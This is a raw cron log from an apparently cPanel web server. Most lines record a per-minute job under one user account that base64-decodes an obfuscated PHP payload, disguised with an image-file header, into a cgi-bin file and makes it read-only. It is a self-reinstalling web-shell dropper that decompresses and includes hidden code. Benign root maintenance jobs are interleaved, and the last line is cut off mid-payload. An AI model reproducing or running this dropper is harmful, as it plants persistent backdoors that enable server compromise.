Apr 10 15:51:01 server CROND[4875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:52:01 server CROND[4968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:53:02 server CROND[5037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:54:01 server CROND[5197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:55:01 server CROND[5279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:55:01 server CROND[5280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:55:01 server CROND[5281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:56:01 server CROND[5404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:57:01 server CROND[5466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 15:57:01 server CROND[5467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:58:01 server CROND[5531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:59:01 server CROND[5593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:00:01 server CROND[5762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 16:00:01 server CROND[5764]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 16:00:01 server CROND[5765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:00:01 server CROND[5766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:00:01 server CROND[5763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:01:01 server CROND[5915]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 16:01:01 server CROND[5916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:01:01 server run-parts(/etc/cron.hourly)[5915]: starting 0anacron
Apr 10 16:01:01 server run-parts(/etc/cron.hourly)[5928]: finished 0anacron
Apr 10 16:02:01 server CROND[5999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:03:01 server CROND[6072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:04:01 server CROND[6138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQ